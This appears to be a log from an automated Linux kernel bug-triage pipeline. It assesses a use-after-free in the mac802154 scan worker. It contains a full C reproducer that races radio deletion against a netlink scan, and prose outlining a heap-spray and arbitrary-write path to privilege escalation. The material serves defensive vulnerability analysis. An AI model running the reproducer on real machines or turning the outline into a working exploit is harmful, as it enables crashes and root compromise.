| 0/0 |
2026/08/14 10:43 |
flow |
assessment-security |
38m
Results: map[DenialOfService:true Explanation:The bug is a classic use-after-free vulnerability in the `mac802154` subsystem,
specifically involving the `scan_work` (and similarly `beacon_work`) delayed
work structures.
### Root Cause Analysis
When a radio is deleted (e.g., via `MAC802154_HWSIM_CMD_DEL_RADIO`), the kernel
unregisters the hardware by calling `ieee802154_unregister_hw()`. This function
brings down the network interfaces, which in turn calls
`mac802154_slave_close()`. If a scan is ongoing, it aborts the scan by calling
`mac802154_scan_cleanup_locked()`, which uses
`cancel_delayed_work(&local->scan_work)` to cancel the pending scan timer.
However, `cancel_delayed_work()` does not wait for the work to finish if it is
currently executing. If `mac802154_scan_worker()` is running concurrently, it
can re-arm the timer by calling `queue_delayed_work()` *after*
`cancel_delayed_work()` has returned.
Later, `ieee802154_unregister_hw()` calls `destroy_workqueue(local->mac_wq)`.
The `destroy_workqueue()` function drains the workqueue but explicitly does
*not* cancel or wait for non-pending delayed works (i.e., works whose timers
have not yet fired). Finally, the `ieee802154_local` structure is freed. When
the re-armed timer eventually fires, it accesses the freed `ieee802154_local`
and the freed `workqueue_struct`, resulting in a use-after-free.
### Exploitability
**Exploitable: Yes**
The timer function `delayed_work_timer_fn()` will access the freed
`workqueue_struct` pointer and the freed `delayed_work` structure. By spraying
the heap, an attacker can reallocate the `ieee802154_local` structure with
controlled data. This allows the attacker to control the `wq` pointer passed to
`__queue_work()`. By pointing `wq` to a fake workqueue structure, the attacker
can hijack the `insert_work()` list operations to link a controlled `list_head`
into an arbitrary memory location. This provides a powerful arbitrary memory
write primitive, which can be reliably used for local privilege escalation.
### Access and Triggers
**Accessible From Unprivileged Processes: No**
**Accessible From User Namespaces: No**
Triggering the bug requires starting a scan (or beaconing) on the `mac802154`
interface. This is done via the `NL802154_CMD_TRIGGER_SCAN` netlink command. In
the `nl802154` family definition, this command is protected by the
`GENL_ADMIN_PERM` flag. The kernel's generic netlink layer checks this flag
using `netlink_capable(skb, CAP_NET_ADMIN)`, which strictly verifies if the
sender has `CAP_NET_ADMIN` in the **initial** user namespace (`&init_user_ns`).
Therefore, unprivileged users, even if they create a new user namespace and
network namespace where they hold `CAP_NET_ADMIN`, cannot bypass this check. The
bug is strictly reachable only by the global root user.
**Other Triggers:**
- **Peripheral Trigger: No.** While a malicious USB device could register an
IEEE 802.15.4 wpan interface, the bug still requires the host to actively send
the `NL802154_CMD_TRIGGER_SCAN` netlink command to start the scan before the
device is disconnected. Since this requires global root privileges, the
peripheral device cannot trigger the bug autonomously.
- **Network/Remote/Filesystem/VM Triggers: No.** The bug is in a local netlink
configuration path and requires local root access to trigger. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/08/14 10:43 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <stdint.h>
#define NLMSG_ALIGNTO 4U
#define NLMSG_ALIGN(len) (((len) + NLMSG_ALIGNTO - 1) & ~(NLMSG_ALIGNTO - 1))
#define NLMSG_HDRLEN NLMSG_ALIGN(sizeof(struct nlmsghdr))
#define CTRL_CMD_GETFAMILY 3
#define CTRL_ATTR_FAMILY_ID 1
#define CTRL_ATTR_FAMILY_NAME 2
#define MAC802154_HWSIM_CMD_NEW_RADIO 3
#define MAC802154_HWSIM_CMD_DEL_RADIO 4
#define MAC802154_HWSIM_ATTR_RADIO_ID 1
#define NL802154_CMD_TRIGGER_SCAN 35
#define NL802154_ATTR_IFINDEX 3
#define NL802154_ATTR_SCAN_TYPE 31
#define NL802154_ATTR_SCAN_CHANNELS 33
#define NL802154_ATTR_SCAN_DURATION 36
#define NL802154_SCAN_ACTIVE 2 // FIXED: Must be 2, not 1
struct nl_msg {
struct nlmsghdr nlh;
struct genlmsghdr gnlh;
char buf[1024];
};
void add_attr(struct nl_msg *msg, int type, const void *data, int len) {
int aligned_len = (len + 3) & ~3;
struct nlattr *attr = (struct nlattr *)((char *)msg + msg->nlh.nlmsg_len);
attr->nla_type = type;
attr->nla_len = 4 + len;
memcpy((char *)attr + 4, data, len);
memset((char *)attr + 4 + len, 0, aligned_len - len);
msg->nlh.nlmsg_len += 4 + aligned_len;
}
int get_family_id(const char *name) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = GENL_ID_CTRL;
msg.nlh.nlmsg_flags = NLM_F_REQUEST;
msg.nlh.nlmsg_seq = 1;
msg.gnlh.cmd = CTRL_CMD_GETFAMILY;
msg.gnlh.version = 1;
add_attr(&msg, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) return -1;
if (send(fd, &msg, msg.nlh.nlmsg_len, 0) < 0) {
close(fd);
return -1;
}
char resp[4096];
int len = recv(fd, resp, sizeof(resp), 0);
close(fd);
if (len < 0) return -1;
struct nlmsghdr *nlh = (struct nlmsghdr *)resp;
if (nlh->nlmsg_type == NLMSG_ERROR) return -1;
struct genlmsghdr *gnlh = (struct genlmsghdr *)((char *)nlh + NLMSG_HDRLEN);
struct nlattr *attr = (struct nlattr *)((char *)gnlh + sizeof(struct genlmsghdr));
int rem = nlh->nlmsg_len - NLMSG_HDRLEN - sizeof(struct genlmsghdr);
while (rem >= (int)sizeof(struct nlattr)) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
return *(uint16_t *)((char *)attr + 4);
}
int aligned_len = (attr->nla_len + 3) & ~3;
rem -= aligned_len;
attr = (struct nlattr *)((char *)attr + aligned_len);
}
return -1;
}
int create_radio(int family_id, uint32_t *radio_id) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = family_id;
msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
msg.nlh.nlmsg_seq = 2;
msg.gnlh.cmd = MAC802154_HWSIM_CMD_NEW_RADIO;
msg.gnlh.version = 1;
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) return -1;
if (send(fd, &msg, msg.nlh.nlmsg_len, 0) < 0) {
close(fd);
return -1;
}
char resp[4096];
int len = recv(fd, resp, sizeof(resp), 0);
close(fd);
if (len < 0) return -1;
struct nlmsghdr *nlh = (struct nlmsghdr *)resp;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)((char *)nlh + NLMSG_HDRLEN);
if (err->error >= 0) {
*radio_id = err->error;
return 0;
}
}
return -1;
}
void delete_radio(int family_id, uint32_t radio_id) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = family_id;
msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
msg.nlh.nlmsg_seq = 3;
msg.gnlh.cmd = MAC802154_HWSIM_CMD_DEL_RADIO;
msg.gnlh.version = 1;
add_attr(&msg, MAC802154_HWSIM_ATTR_RADIO_ID, &radio_id, sizeof(radio_id));
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd >= 0) {
send(fd, &msg, msg.nlh.nlmsg_len, 0);
char resp[4096];
recv(fd, resp, sizeof(resp), 0);
close(fd);
}
}
void trigger_scan(int family_id, uint32_t ifindex) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = family_id;
msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
msg.nlh.nlmsg_seq = 4;
msg.gnlh.cmd = NL802154_CMD_TRIGGER_SCAN;
msg.gnlh.version = 1;
add_attr(&msg, NL802154_ATTR_IFINDEX, &ifindex, sizeof(ifindex));
uint8_t scan_type = NL802154_SCAN_ACTIVE;
add_attr(&msg, NL802154_ATTR_SCAN_TYPE, &scan_type, sizeof(scan_type));
uint32_t scan_channels = 1; // Channel 0
add_attr(&msg, NL802154_ATTR_SCAN_CHANNELS, &scan_channels, sizeof(scan_channels));
uint8_t scan_duration = 0; // 0 duration
add_attr(&msg, NL802154_ATTR_SCAN_DURATION, &scan_duration, sizeof(scan_duration));
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd >= 0) {
send(fd, &msg, msg.nlh.nlmsg_len, 0);
char resp[4096];
recv(fd, resp, sizeof(resp), 0);
close(fd);
}
}
int main() {
printf("[*] Starting mac802154 timer UAF reproducer...\n");
int family_hwsim = get_family_id("MAC802154_HWSIM");
if (family_hwsim < 0) {
printf("[-] Failed to get MAC802154_HWSIM family ID.\n");
exit(1);
}
printf("[+] MAC802154_HWSIM family ID: %d\n", family_hwsim);
int family_nl802154 = get_family_id("nl802154");
if (family_nl802154 < 0) {
printf("[-] Failed to get nl802154 family ID.\n");
exit(1);
}
printf("[+] nl802154 family ID: %d\n", family_nl802154);
// Delete default radios 0 and 1 just in case
delete_radio(family_hwsim, 0);
delete_radio(family_hwsim, 1);
int delay = 0;
while (1) {
uint32_t radio_id = 0;
if (create_radio(family_hwsim, &radio_id) < 0) {
printf("[-] Failed to create radio\n");
usleep(100000);
continue;
}
char wpan_name[16] = {0};
int wpan_ifindex = 0;
for (int i = 0; i < 100; i++) {
struct if_nameindex *if_ni, *i_ni;
if_ni = if_nameindex();
if (if_ni) {
for (i_ni = if_ni; i_ni->if_index != 0 || i_ni->if_name != NULL; i_ni++) {
if (strncmp(i_ni->if_name, "wpan", 4) == 0) {
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = {0};
strcpy(ifr.ifr_name, i_ni->if_name);
ioctl(fd, SIOCGIFFLAGS, &ifr);
close(fd);
if (!(ifr.ifr_flags & IFF_UP)) {
wpan_ifindex = i_ni->if_index;
strcpy(wpan_name, i_ni->if_name);
break;
}
}
}
if_freenameindex(if_ni);
}
if (wpan_ifindex > 0) break;
usleep(10000);
}
if (wpan_ifindex == 0) {
printf("[-] Failed to find wpan interface\n");
delete_radio(family_hwsim, radio_id);
continue;
}
// Bring up
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = {0};
strcpy(ifr.ifr_name, wpan_name);
ioctl(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
printf("[-] Failed to bring %s up: %s\n", wpan_name, strerror(errno));
close(fd);
delete_radio(family_hwsim, radio_id);
continue;
}
close(fd);
// Trigger scan
trigger_scan(family_nl802154, wpan_ifindex);
// Wait a bit to race with scan worker
if (delay > 0) usleep(delay);
// Delete radio
delete_radio(family_hwsim, radio_id);
// Wait for wpanX to disappear
for (int i = 0; i < 100; i++) {
if (if_nametoindex(wpan_name) == 0) {
break;
}
usleep(10000);
}
// Wait for 50ms to allow the 30ms delayed work timer to fire
usleep(50000);
delay += 50;
if (delay > 2000) delay = 0;
printf("[+] Iteration complete, delay=%d\n", delay);
}
return 0;
}
]
|
| 2/1 |
2026/08/14 10:43 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/1ef75099b4b354946ba3d04b183e01e909700136]
|
| 3/1 |
2026/08/14 10:44 |
action |
kernel-builder |
18m
Results: map[KernelObj:/app/workdir/cache/build/f6e785746046a3c57bdd3f4d8ec5dc5d598cfedb]
|
| 4/1 |
2026/08/14 11:03 |
action |
codesearch-prepare |
12m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/14 11:16 |
agent |
expert |
5m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88802e98a900 object type: timer_list hint: mac802154_scan_worker+0x0/0x1450 arch/x86/include/asm/bitops.h:202
WARNING: lib/debugobjects.c:629 at debug_print_object+0x198/0x2b0 lib/debugobjects.c:629, CPU#2: syz-executor392/6031
Modules linked in:
CPU: 2 UID: 0 PID: 6031 Comm: syz-executor392 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object+0x1a5/0x2b0 lib/debugobjects.c:629
Code: b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 80 3c 02 00 75 4f 48 8d 3d e8 28 05 0c 41 56 48 8b 14 ed 40 16 40 8c 4c 89 e6 <67> 48 0f b9 3a 58 83 05 62 4a fa 0b 01 48 83 c4 18 5b 5d 41 5c 41
RSP: 0018:ffffc90004d57538 EFLAGS: 00010246
RAX: dffffc0000000000 RBX: ffffc90004d57620 RCX: 0000000000000000
RDX: ffffffff8c401580 RSI: ffffffff8c401120 RDI: ffffffff912cab20
RBP: 0000000000000003 R08: ffff88802e98a900 R09: ffffffff8bd2f280
R10: 0000000000000001 R11: 0000000000000000 R12: ffffffff8c401120
R13: ffffffff8bd2f2c0 R14: ffffffff8b759990 R15: ffffc90004d57638
FS: 000055555d787400(0000) GS:ffff8880d5fe9000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000560dc5482000 CR3: 0000000027949000 CR4: 0000000000352ef0
Call Trace:
<TASK>
__debug_check_no_obj_freed lib/debugobjects.c:1171 [inline]
debug_check_no_obj_freed+0x4da/0x630 lib/debugobjects.c:1201
slab_free_hook mm/slub.c:2608 [inline]
slab_free mm/slub.c:6377 [inline]
kfree+0x3d8/0x6c0 mm/slub.c:6692
device_release+0xd2/0x270 drivers/base/core.c:2636
kobject_cleanup lib/kobject.c:689 [inline]
kobject_release lib/kobject.c:720 [inline]
kref_put include/linux/kref.h:65 [inline]
kobject_put+0x1f7/0x640 lib/kobject.c:737
put_device+0x1f/0x30 drivers/base/core.c:3880
hwsim_del_radio_nl+0x161/0x200 drivers/net/ieee802154/mac802154_hwsim.c:358
genl_family_rcv_msg_doit+0x214/0x300 net/netlink/genetlink.c:1114
genl_family_rcv_msg net/netlink/genetlink.c:1194 [inline]
genl_rcv_msg+0x560/0x800 net/netlink/genetlink.c:1209
netlink_rcv_skb+0x159/0x420 net/netlink/af_netlink.c:2556
genl_rcv+0x28/0x40 net/netlink/genetlink.c:1218
netlink_unicast_kernel net/netlink/af_netlink.c:1319 [inline]
netlink_unicast+0x585/0x850 net/netlink/af_netlink.c:1345
netlink_sendmsg+0x8b0/0xda0 net/netlink/af_netlink.c:1900
sock_sendmsg_nosec net/socket.c:775 [inline]
__sock_sendmsg net/socket.c:790 [inline]
__sys_sendto+0x48b/0x4e0 net/socket.c:2252
__do_sys_sendto net/socket.c:2259 [inline]
__se_sys_sendto net/socket.c:2255 [inline]
__x64_sys_sendto+0xe0/0x1c0 net/socket.c:2255
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f86a2fe5fb7
Code: 48 89 fa 4c 89 df e8 98 1d 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007ffd8a516790 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
----------------
Code disassembly (best guess):
0: b8 00 00 00 00 mov $0x0,%eax
5: 00 fc add %bh,%ah
7: ff lcall (bad)
8: df 48 89 fisttps -0x77(%rax)
b: fa cli
c: 48 c1 ea 03 shr $0x3,%rdx
10: 80 3c 02 00 cmpb $0x0,(%rdx,%rax,1)
14: 75 4f jne 0x65
16: 48 8d 3d e8 28 05 0c lea 0xc0528e8(%rip),%rdi # 0xc052905
1d: 41 56 push %r14
1f: 48 8b 14 ed 40 16 40 mov -0x73bfe9c0(,%rbp,8),%rdx
26: 8c
27: 4c 89 e6 mov %r12,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: 58 pop %rax
30: 83 05 62 4a fa 0b 01 addl $0x1,0xbfa4a62(%rip) # 0xbfa4a99
37: 48 83 c4 18 add $0x18,%rsp
3b: 5b pop %rbx
3c: 5d pop %rbp
3d: 41 5c pop %r12
3f: 41 rex.B
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <stdint.h>
#define NLMSG_ALIGNTO 4U
#define NLMSG_ALIGN(len) (((len) + NLMSG_ALIGNTO - 1) & ~(NLMSG_ALIGNTO - 1))
#define NLMSG_HDRLEN NLMSG_ALIGN(sizeof(struct nlmsghdr))
#define CTRL_CMD_GETFAMILY 3
#define CTRL_ATTR_FAMILY_ID 1
#define CTRL_ATTR_FAMILY_NAME 2
#define MAC802154_HWSIM_CMD_NEW_RADIO 3
#define MAC802154_HWSIM_CMD_DEL_RADIO 4
#define MAC802154_HWSIM_ATTR_RADIO_ID 1
#define NL802154_CMD_TRIGGER_SCAN 35
#define NL802154_ATTR_IFINDEX 3
#define NL802154_ATTR_SCAN_TYPE 31
#define NL802154_ATTR_SCAN_CHANNELS 33
#define NL802154_ATTR_SCAN_DURATION 36
#define NL802154_SCAN_ACTIVE 2 // FIXED: Must be 2, not 1
struct nl_msg {
struct nlmsghdr nlh;
struct genlmsghdr gnlh;
char buf[1024];
};
void add_attr(struct nl_msg *msg, int type, const void *data, int len) {
int aligned_len = (len + 3) & ~3;
struct nlattr *attr = (struct nlattr *)((char *)msg + msg->nlh.nlmsg_len);
attr->nla_type = type;
attr->nla_len = 4 + len;
memcpy((char *)attr + 4, data, len);
memset((char *)attr + 4 + len, 0, aligned_len - len);
msg->nlh.nlmsg_len += 4 + aligned_len;
}
int get_family_id(const char *name) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = GENL_ID_CTRL;
msg.nlh.nlmsg_flags = NLM_F_REQUEST;
msg.nlh.nlmsg_seq = 1;
msg.gnlh.cmd = CTRL_CMD_GETFAMILY;
msg.gnlh.version = 1;
add_attr(&msg, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) return -1;
if (send(fd, &msg, msg.nlh.nlmsg_len, 0) < 0) {
close(fd);
return -1;
}
char resp[4096];
int len = recv(fd, resp, sizeof(resp), 0);
close(fd);
if (len < 0) return -1;
struct nlmsghdr *nlh = (struct nlmsghdr *)resp;
if (nlh->nlmsg_type == NLMSG_ERROR) return -1;
struct genlmsghdr *gnlh = (struct genlmsghdr *)((char *)nlh + NLMSG_HDRLEN);
struct nlattr *attr = (struct nlattr *)((char *)gnlh + sizeof(struct genlmsghdr));
int rem = nlh->nlmsg_len - NLMSG_HDRLEN - sizeof(struct genlmsghdr);
while (rem >= (int)sizeof(struct nlattr)) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
return *(uint16_t *)((char *)attr + 4);
}
int aligned_len = (attr->nla_len + 3) & ~3;
rem -= aligned_len;
attr = (struct nlattr *)((char *)attr + aligned_len);
}
return -1;
}
int create_radio(int family_id, uint32_t *radio_id) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = family_id;
msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
msg.nlh.nlmsg_seq = 2;
msg.gnlh.cmd = MAC802154_HWSIM_CMD_NEW_RADIO;
msg.gnlh.version = 1;
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) return -1;
if (send(fd, &msg, msg.nlh.nlmsg_len, 0) < 0) {
close(fd);
return -1;
}
char resp[4096];
int len = recv(fd, resp, sizeof(resp), 0);
close(fd);
if (len < 0) return -1;
struct nlmsghdr *nlh = (struct nlmsghdr *)resp;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)((char *)nlh + NLMSG_HDRLEN);
if (err->error >= 0) {
*radio_id = err->error;
return 0;
}
}
return -1;
}
void delete_radio(int family_id, uint32_t radio_id) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = family_id;
msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
msg.nlh.nlmsg_seq = 3;
msg.gnlh.cmd = MAC802154_HWSIM_CMD_DEL_RADIO;
msg.gnlh.version = 1;
add_attr(&msg, MAC802154_HWSIM_ATTR_RADIO_ID, &radio_id, sizeof(radio_id));
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd >= 0) {
send(fd, &msg, msg.nlh.nlmsg_len, 0);
char resp[4096];
recv(fd, resp, sizeof(resp), 0);
close(fd);
}
}
void trigger_scan(int family_id, uint32_t ifindex) {
struct nl_msg msg = {0};
msg.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct genlmsghdr);
msg.nlh.nlmsg_type = family_id;
msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
msg.nlh.nlmsg_seq = 4;
msg.gnlh.cmd = NL802154_CMD_TRIGGER_SCAN;
msg.gnlh.version = 1;
add_attr(&msg, NL802154_ATTR_IFINDEX, &ifindex, sizeof(ifindex));
uint8_t scan_type = NL802154_SCAN_ACTIVE;
add_attr(&msg, NL802154_ATTR_SCAN_TYPE, &scan_type, sizeof(scan_type));
uint32_t scan_channels = 1; // Channel 0
add_attr(&msg, NL802154_ATTR_SCAN_CHANNELS, &scan_channels, sizeof(scan_channels));
uint8_t scan_duration = 0; // 0 duration
add_attr(&msg, NL802154_ATTR_SCAN_DURATION, &scan_duration, sizeof(scan_duration));
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd >= 0) {
send(fd, &msg, msg.nlh.nlmsg_len, 0);
char resp[4096];
recv(fd, resp, sizeof(resp), 0);
close(fd);
}
}
int main() {
printf("[*] Starting mac802154 timer UAF reproducer...\n");
int family_hwsim = get_family_id("MAC802154_HWSIM");
if (family_hwsim < 0) {
printf("[-] Failed to get MAC802154_HWSIM family ID.\n");
exit(1);
}
printf("[+] MAC802154_HWSIM family ID: %d\n", family_hwsim);
int family_nl802154 = get_family_id("nl802154");
if (family_nl802154 < 0) {
printf("[-] Failed to get nl802154 family ID.\n");
exit(1);
}
printf("[+] nl802154 family ID: %d\n", family_nl802154);
// Delete default radios 0 and 1 just in case
delete_radio(family_hwsim, 0);
delete_radio(family_hwsim, 1);
int delay = 0;
while (1) {
uint32_t radio_id = 0;
if (create_radio(family_hwsim, &radio_id) < 0) {
printf("[-] Failed to create radio\n");
usleep(100000);
continue;
}
char wpan_name[16] = {0};
int wpan_ifindex = 0;
for (int i = 0; i < 100; i++) {
struct if_nameindex *if_ni, *i_ni;
if_ni = if_nameindex();
if (if_ni) {
for (i_ni = if_ni; i_ni->if_index != 0 || i_ni->if_name != NULL; i_ni++) {
if (strncmp(i_ni->if_name, "wpan", 4) == 0) {
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = {0};
strcpy(ifr.ifr_name, i_ni->if_name);
ioctl(fd, SIOCGIFFLAGS, &ifr);
close(fd);
if (!(ifr.ifr_flags & IFF_UP)) {
wpan_ifindex = i_ni->if_index;
strcpy(wpan_name, i_ni->if_name);
break;
}
}
}
if_freenameindex(if_ni);
}
if (wpan_ifindex > 0) break;
usleep(10000);
}
if (wpan_ifindex == 0) {
printf("[-] Failed to find wpan interface\n");
delete_radio(family_hwsim, radio_id);
continue;
}
// Bring up
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = {0};
strcpy(ifr.ifr_name, wpan_name);
